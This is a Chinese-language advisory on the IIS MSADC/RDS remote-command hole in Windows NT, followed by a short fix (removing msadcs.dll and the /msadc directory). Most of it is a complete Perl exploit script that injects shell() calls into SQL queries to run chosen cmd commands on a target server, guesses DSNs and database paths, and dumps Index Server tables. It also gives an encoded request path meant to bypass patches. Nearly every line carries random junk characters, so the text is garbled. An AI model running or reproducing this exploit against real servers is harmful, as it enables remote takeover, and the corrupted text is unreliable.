IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
E"|4 Y(G c DrebU 涉及程序：
^#):c` Microsoft NT server
==H$zmK P( SZ68 描述：
=1oNZKBP 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
!$g+F(:(c 3S BZ> 详细：
t0#[#I1+ 如果你没有时间读详细内容的话，就删除:
Y
e +Ay c:\Program Files\Common Files\System\Msadc\msadcs.dll
_Hd{sd#xX1 有关的安全问题就没有了。
,&YTj>
?W0( |9 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
e9^2,:wLB <8 #ObdY! 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
@ 2_<,;$ 关于利用ODBC远程漏洞的描述，请参看:
X jE>k!=I Hwm?#6\ 5 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ~JuKV&&}K 1j\aH&)GH 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Fvxu >BK http://www.microsoft.com/security/bulletins/MS99-025faq.asp me \cLFw nMoWOP' 这里不再论述。
R < zG^m }Uf<ZXW 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
uO >x:*^8 cg j.e /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
fA^7^0![ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
4Z)DDz-}V cX
A t :m b>~RSO* #将下面这段保存为txt文件，然后: "perl -x 文件名"
nSY-?&l 6P OK`Z@X_,bW #!perl
Jb p5'e
_ #
.h;Se # MSADC/RDS 'usage' (aka exploit) script
,vG<*|pn #
@ ERu>nSP # by rain.forest.puppy
.}9FEn 8 #
(Q-I8Y8l8 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
\~X&o% y # beta test and find errors!
K@@9:T$ jxy1 use Socket; use Getopt::Std;
(3md:r<- getopts("e:vd:h:XR", \%args);
9 .0WKcwg ZM~`Gd9K0E print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
o@d y: AR 3:|-#F*k{ if (!defined $args{h} && !defined $args{R}) {
7aQcP print qq~
z };ZxN Usage: msadc.pl -h <host> { -d <delay> -X -v }
?En7_X{C? -h <host> = host you want to scan (ip or domain)
[F| +(} -d <seconds> = delay between calls, default 1 second
d.pp3D 9/ -X = dump Index Server path table, if available
):bu;3E -v = verbose
m{&w{3pQk -e = external dictionary file for step 5
fW~*6ln "g
`nsk Or a -R will resume a command session
S l.o,W^ /R%^rz'w ~; exit;}
7C5pAb: 3c u9[~K $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
h#{T}[ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
;,0lUc V if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Lh 9S8E U if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
nC~fvyd<P $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
+5*vABvCu if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Tiprdvm< G&o64W;-s if (!defined $args{R}){ $ret = &has_msadc;
pGGV\zD^ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
RqGVp?
9d"5wx print "Please type the NT commandline you want to run (cmd /c assumed):\n"
&r:m&?!|VQ . "cmd /c ";
#` +]{4hR $in=<STDIN>; chomp $in;
g9qC{x d $command="cmd /c " . $in ;
q2!'==h2i %FlA ":W if (defined $args{R}) {&load; exit;}
B+Q+0tw*i hb! ln7 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
E{gv,cUM &try_btcustmr;
=yh3Nd:u M;qb7Mu print "\nStep 2: Trying to make our own DSN...";
@,YlmX} &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
0l1.O2 - h^d\xn9GT# print "\nStep 3: Trying known DSNs...";
7O461$4v &known_dsn;
"!a`ygqpT f qX~xp print "\nStep 4: Trying known .mdbs...";
&gWiu9WbS &known_mdb;
#7\b\~5 XSl !T/d if (defined $args{e}){
7(@(Hm print "\nStep 5: Trying dictionary of DSN names...";
~T&%
VvI &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
<p)Z/ 'g]=.K+@} print "Sorry Charley...maybe next time?\n";
6s5b$x exit;
?k::tNv0 5&G
5eA ##############################################################################
s@ z{dmL 0`Gai2\1@ sub sendraw { # ripped and modded from whisker
N Z)b:~a sleep($delay); # it's a DoS on the server! At least on mine...
Pn J*Zea my ($pstr)=@_;
W[GQ[h socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
,,}s K die("Socket problems\n");
~xE=mg4le if(connect(S,pack "SnA4x8",2,80,$target)){
-HN%B?}. x select(S); $|=1;
k%^<}s@ print $pstr; my @in=<S>;
+
lP5XY{ select(STDOUT); close(S);
UE{,.s return @in;
}<.7 xz|V } else { die("Can't connect...\n"); }}
.
Jb?]n 9,w}Xe=C ##############################################################################
y 3IA ' }y mc5- sub make_header { # make the HTTP request
2@4x"F]U; my $msadc=<<EOT
Q QT G9s POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
|&Au6 3 User-Agent: ACTIVEDATA
BL0 |\&*1 Host: $ip
?LR"hZ> Content-Length: $clen
K`~BL= KI Connection: Keep-Alive
[\88@B=jXP 4uX,uEa ADCClientVersion:01.06
%
<^[j^j}o Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
D7M0NEY ^g-Fg>&M --!ADM!ROX!YOUR!WORLD!
W\'Nv/L Content-Type: application/x-varg
z2.*#xTZn Content-Length: $reqlen
Uld_X\;Q4 ([[ )Ub$U EOT
sE- x" c ; $msadc=~s/\n/\r\n/g;
>kt~vJI return $msadc;}
>1m)%zt ? _8%h`z ##############################################################################
vJ ~4D*(]l 4 |FRg sub make_req { # make the RDS request
_k6x=V;9g my ($switch, $p1, $p2)=@_;
Q^[e /U, my $req=""; my $t1, $t2, $query, $dsn;
n G!&u1 * #"hJpyW 4V if ($switch==1){ # this is the btcustmr.mdb query
* Ao2j; $query="Select * from Customers where City=" . make_shell();
:jB ZK=3F> $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
+ : fqL $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Xg,0 /P~ |
A3U@>6 elsif ($switch==2){ # this is general make table query
Fq vQk $query="create table AZZ (B int, C varchar(10))";
'`9%'f) $dsn="$p1";}
f3/SO+Me} ;R/k2^uF elsif ($switch==3){ # this is general exploit table query
:!(YEF#} $query="select * from AZZ where C=" . make_shell();
P/C&R-{') $dsn="$p1";}
AQB1gzE fL(':W&n- elsif ($switch==4){ # attempt to hork file info from index server
".Lhte R? $query="select path from scope()";
wEBtre7 $dsn="Provider=MSIDXS;";}
.=> \Qq% /_ $~rW elsif ($switch==5){ # bad query
O|HIO&M $query="select";
gsLr= $dsn="$p1";}
7bA4 P* , D exJ1 $t1= make_unicode($query);
cSY2#u|v $t2= make_unicode($dsn);
;[FW! $req = "\x02\x00\x03\x00";
0q:(-z\S 4 $req.= "\x08\x00" . pack ("S1", length($t1));
}l,T~Pjb $req.= "\x00\x00" . $t1 ;
_7r qXkp% $req.= "\x08\x00" . pack ("S1", length($t2));
8]sTX 9 $req.= "\x00\x00" . $t2 ;
m Y$nI -P $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
gV<0Hj return $req;}
/d{g lOk ^;0~6uBEJr ##############################################################################
\Ku9"x
j z|Wj sub make_shell { # this makes the shell() statement
AeNyZ[40T return "'|shell(\"$command\")|'";}
[>b
'}4 i!CK A}", ##############################################################################
,"P5D&,_ s$f+/H s sub make_unicode { # quick little function to convert to unicode
80{#bb my ($in)=@_; my $out;
eNI kiJ$uS for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
E9yFREvQc return $out;}
B] A 5n8< ?D RFsA ##############################################################################
0MwG}|RC Fv?R\`52u sub rdo_success { # checks for RDO return success (this is kludge)
M[ :O( my (@in) = @_; my $base=content_start(@in);
z5x ,fQw6O if($in[$base]=~/multipart\/mixed/){
LVPt*S= / return 1 if( $in[$base+10]=~/^\x09\x00/ );}
el <<D return 0;}
844tXMtPB\ Ck ~V 5 ##############################################################################
S[W9G)KWp (P
E#
Y( sub make_dsn { # this makes a DSN for us
o7_MMeQ4 my @drives=("c","d","e","f");
v YRt2({}Z print "\nMaking DSN: ";
y)?W-5zL foreach $drive (@drives) {
3e!3.$4M print "$drive: ";
j33P~H~ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
6MLN>)t "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
7h9 fQ&y . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
1R5\GKF6o $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
-4*'WzWr return 0 if $2 eq "404"; # not found/doesn't exist
"TBQNWZ if($2 eq "200") {
/RA1d<~$q foreach $line (@results) {
*_4n2<W$ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
4i+PiD:H } return 0;}
{V]Qwz)1 mV:RmA ##############################################################################
H6%!v1 u &xGfkCP. ] sub verify_exists {
}}sRTW my ($page)=@_;
#a7Amh\nT my @results=sendraw("GET $page HTTP/1.0\n\n");
/ K_ e;(Y_ return $results[0];}
@yU!sE: M5cOz|j/*R ##############################################################################
a'_MhJ zs
:f?,]|]+- sub try_btcustmr {
X] JpS my @drives=("c","d","e","f");
_ e:5XQ my @dirs=("winnt","winnt35","winnt351","win","windows");
qrkRD*a p0[,$$p M foreach $dir (@dirs) {
E &iWtwkz print "$dir -> "; # fun status so you can see progress
RB lO TQjv foreach $drive (@drives) {
SCfkv|hO print "$drive: "; # ditto
dPH!
V6r $reqlen=length( make_req(1,$drive,$dir) ) - 28;
eZR8<Z % $reqlenlen=length( "$reqlen" );
0TuO Y%+ $clen= 206 + $reqlenlen + $reqlen;
<iXS0k rx }ujjx my @results=sendraw(make_header() . make_req(1,$drive,$dir));
pU:C =hq4 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
E+^} B/"
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
qSpa4W[ aiR|.opIb ##############################################################################
"x:)$@ l $p_])x sub odbc_error {
U2[3S\@ my (@in)=@_; my $base;
Zeme`/aBb my $base = content_start(@in);
A 5.'h< if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
q5I4'6NF $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Eis%)oE
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
H4y1Hpa, $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
HjUw[Yz+6 return $in[$base+4].$in[$base+5].$in[$base+6];}
ohc/.5Kl print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
_A)_K;cz print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Kc9mI>u H $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
t'=~"?T/o ](9{}DHV ##############################################################################
5& rCNi*\ CJ}@R.Zy sub verbose {
S,`Sq8H my ($in)=@_;
?) ,xZ1" return if !$verbose;
:d%
-,v print STDOUT "\n$in\n";}
0IPhVG~# k9_VhR |! ##############################################################################
G7_"^r%c9; >Rki[SNb-b sub save {
Xg!|F[i my ($p1, $p2, $p3, $p4)=@_;
QzFv ; open(OUT, ">rds.save") || print "Problem saving parameters...\n";
G%p!os\> print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
kXZV%mnT7 close OUT;}
.z-^Ga* YAC zz nN ##############################################################################
' ! UF& 0m+5Zn sub load {
L$TKO,T my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
1[g jb(( open(IN,"<rds.save") || die("Couldn't open rds.save\n");
a5U2[Ko80 @p=<IN>; close(IN);
{ Sliy' $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
y8~)/)l& $target= inet_aton($ip) || die("inet_aton problems");
8F\Msx print "Resuming to $ip ...";
WlQ&Yau $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
K_lL\ if($p[1]==1) {
VrGb;L'[ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
[;CqvD <S $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
;DgX"Uzm my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
+} ! F(c if (rdo_success(@results)){print "Success!\n";}
| v %RjN else { print "failed\n"; verbose(odbc_error(@results));}}
m/F(h-? elsif ($p[1]==3){
DHumBnQ if(run_query("$p[3]")){
i;'X}KW print "Success!\n";} else { print "failed\n"; }}
Uo[5V|>X6 elsif ($p[1]==4){
L^al1T if(run_query($drvst . "$p[3]")){
@8M2'R\ print "Success!\n"; } else { print "failed\n"; }}
.Qi1I exit;}
4\'81"e i E5[]eg~w%{ ##############################################################################
pffw5 Tc komxot[[
sub create_table {
_M]rH<h my ($in)=@_;
HAUTCX $reqlen=length( make_req(2,$in,"") ) - 28;
>
%cWTC $reqlenlen=length( "$reqlen" );
v^18o$=K", $clen= 206 + $reqlenlen + $reqlen;
i!}nGJGg
my @results=sendraw(make_header() . make_req(2,$in,""));
dR, NC-* return 1 if rdo_success(@results);
- 2na::<K my $temp= odbc_error(@results); verbose($temp);
nIqY}?? return 1 if $temp=~/Table 'AZZ' already exists/;
pQMpkAX return 0;}
~CdseSo 9 ND9>`I 5 ##############################################################################
`# M.t);^ yJ`1},^ sub known_dsn {
JHh9> .1 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
q>.t~ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
t?H;iBrpxd "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
79B`w
# "banner", "banners", "ads", "ADCDemo", "ADCTest");
u-M$45vct 7
} MJK) foreach $dSn (@dsns) {
"JLhOTPaHf print ".";
yY-t4WeXP next if (!is_access("DSN=$dSn"));
M^Ay,jK! if(create_table("DSN=$dSn")){
l G Hu@(n< print "$dSn successful\n";
*7fPp8k+Z; if(run_query("DSN=$dSn")){
#.L0]Uqcp print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
d8
Nh 0! print "Something's borked. Use verbose next time\n";}}} print "\n";}
[tK:y[nk I )%jPH:ua ##############################################################################
j72] _G CJ tjn sub is_access {
j{ -7Pf8A my ($in)=@_;
Y {|~A $reqlen=length( make_req(5,$in,"") ) - 28;
3pjYY$' $reqlenlen=length( "$reqlen" );
0i(?LI_S $clen= 206 + $reqlenlen + $reqlen;
{s' _zS z my @results=sendraw(make_header() . make_req(5,$in,""));
JEF7hJz~ my $temp= odbc_error(@results);
gsm^{jB verbose($temp); return 1 if ($temp=~/Microsoft Access/);
QV7c9)<]'} return 0;}
(tLQX~Ur MkGq%AE`Y ##############################################################################
&vvx " @ ZP Tf>J} sub run_query {
ot<o& my ($in)=@_;
Ty: I r $reqlen=length( make_req(3,$in,"") ) - 28;
e^_@^(||!6 $reqlenlen=length( "$reqlen" );
:#htOsP $clen= 206 + $reqlenlen + $reqlen;
:. <TWBo V my @results=sendraw(make_header() . make_req(3,$in,""));
w:xKgng=L return 1 if rdo_success(@results);
l@J|p # 0q my $temp= odbc_error(@results); verbose($temp);
zXU{p\;)\ return 0;}
ZBq*<VtV W B [G!'
##############################################################################
+Q vgpx > ^o \p|f>f sub known_mdb {
#TwE??ms my @drives=("c","d","e","f","g");
;/3/R/^g my @dirs=("winnt","winnt35","winnt351","win","windows");
sq|@9GS0T my $dir, $drive, $mdb;
b!~%a my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
0F'UFn>{ R
eu
J=|F # this is sparse, because I don't know of many
5T3>fw2G my @sysmdbs=( "\\catroot\\icatalog.mdb",
o YErG] , "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
}lpm Hvs "\\system32\\certmdb.mdb",
KrG6z#)Uz "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
b<78K5' HMd )64( my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
gH) B`
@ "\\cfusion\\cfapps\\forums\\forums_.mdb",
`0sk2fn "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
/l%q q*Ew "\\cfusion\\cfapps\\security\\realm_.mdb",
^Es)?>eah "\\cfusion\\cfapps\\security\\data\\realm.mdb",
[F{a- i- "\\cfusion\\database\\cfexamples.mdb",
P]{.e UB@c "\\cfusion\\database\\cfsnippets.mdb",
<qY>d,+E' "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
pv SFp-:_ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
u CS "\\cfusion\\brighttiger\\database\\cleam.mdb",
=,G(1# "\\cfusion\\database\\smpolicy.mdb",
rL3Vogw'e "\\cfusion\\database\cypress.mdb",
lS-i9U/,> "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
|o)
_= Fx "\\website\\cgi-win\\dbsample.mdb",
OBQ!0NM_b "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
tSa%ZkS "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
=8_TOvSJ4p ); #these are just
oHnpw U foreach $drive (@drives) {
wh+ibH} @! foreach $dir (@dirs){
XQ; d ew+ foreach $mdb (@sysmdbs) {
1A.\Ao print ".";
wGX"R 5 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
0\*<k`dY print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
P"@^'yR5WK if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
P32'`!/: print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
{_}"USS } else { print "Something's borked. Use verbose next time\n"; }}}}}
N6%q%7F.: R)Fl@
Tn foreach $drive (@drives) {
.e#j#tQp foreach $mdb (@mdbs) {
(9|K}IM: print ".";
Te #[+B? if(create_table($drv . $drive . $dir . $mdb)){
OXV@LYP@ print "\n" . $drive . $dir . $mdb . " successful\n";
+t{FF!mL if(run_query($drv . $drive . $dir . $mdb)){
i mQNfNm print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
$, 42h } else { print "Something's borked. Use verbose next time\n"; }}}}
=@l5He.]& }
<P - r)=^ k"zHrn"$ ##############################################################################
{v(|_j&:o DR8dJ# sub hork_idx {
7IH{5o\e print "\nAttempting to dump Index Server tables...\n";
kk#d-!
$[ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
MWf%Lh;R $reqlen=length( make_req(4,"","") ) - 28;
ond/e&1 $reqlenlen=length( "$reqlen" );
o *'3N/D~ $clen= 206 + $reqlenlen + $reqlen;
6fyW6xv[, my @results=sendraw2(make_header() . make_req(4,"",""));
0AenDm@9 if (rdo_success(@results)){
2& #iHv my $max=@results; my $c; my %d;
cG6+'=]3< for($c=19; $c<$max; $c++){
:+$_(* Z $results[$c]=~s/\x00//g;
c2"OpI $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
-tZb\4kh $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
<h[^&CY{ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
:Fl: bRH+ $d{"$1$2"}="";}
P6rL;_~e foreach $c (keys %d){ print "$c\n"; }
`mVH94{+I } else {print "Index server doesn't seem to be installed.\n"; }}
ERplDSfO- u 05O[>w ##############################################################################
.~']gih# up6LO7drW/ sub dsn_dict {
"`zw( open(IN, "<$args{e}") || die("Can't open external dictionary\n");
uIBV1Qz while(<IN>){
UQ y+ &;#5 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
de[_T%A next if (!is_access("DSN=$dSn"));
FMiYZ1^r if(create_table("DSN=$dSn")){
ZN^Q!v print "$dSn successful\n";
);vU=p"@ if(run_query("DSN=$dSn")){
z`CI gSR print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
NDi@x"]; print "Something's borked. Use verbose next time\n";}}}
{S c1! 2q print "\n"; close(IN);}
h 9/68Gc?6 3.Qwn. ##############################################################################
dc * #?G6^ nr }H;wB sub sendraw2 { # ripped and modded from whisker
a<Ta *:R$0 sleep($delay); # it's a DoS on the server! At least on mine...
X$<?:f-
my ($pstr)=@_;
Qw ED>G| socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
=y
ff.3mW\ die("Socket problems\n");
DE tq]|80m if(connect(S,pack "SnA4x8",2,80,$target)){
azSS:=A print "Connected. Getting data";
r mhB!Lo open(OUT,">raw.out"); my @in;
3e"G.0vJ select(S); $|=1; print $pstr;
f;*\y!|lg~ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
I]h+24 _S close(OUT); select(STDOUT); close(S); return @in;
3j2}n
o8O } else { die("Can't connect...\n"); }}
;tj_vmZ@R HV>W f"1 ##############################################################################
*E>YLkg] D F#Ob( 1 sub content_start { # this will take in the server headers
zOcMc{w0 my (@in)=@_; my $c;
&*0V!+#6 for ($c=1;$c<500;$c++) {
FD8aO?wvg if($in[$c] =~/^\x0d\x0a/){
=
hpX2/] if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
H7WKnn@ else { return $c+1; }}}
VFyt9:a return -1;} # it should never get here actually
A%Ao yy4E edch'H^2+P ##############################################################################
1}N5WBp 6oC( 09 sub funky {
*`\>J.
my (@in)=@_; my $error=odbc_error(@in);
,}bC if($error=~/ADO could not find the specified provider/){
% 'P58 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
|_-FQ~Hf F exit;}
7eY*Y"GX if($error=~/A Handler is required/){
y- g5`@ print "\nServer has custom handler filters (they most likely are patched)\n";
\KG{
11 exit;}
Lz4iLLP if($error=~/specified Handler has denied Access/){
upWq=_ print "\nServer has custom handler filters (they most likely are patched)\n";
z\v\T|C exit;}}
EF}Z+7A Yx,
##############################################################################
o zv><e# " # JRw sub has_msadc {
f9!wO';P6 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
|d8/ZD my $base=content_start(@results);
xl
s_g/Q return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
B4I|"5G2y return 0;}
cU+/I>V /QG8\wX E2 ########################
)t =Cj?5 ^>[Z~G($ 5gi`&t` 解决方案：
poeKY[]. 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
e1 K,4 Bq 2、移除web 目录: /msadc
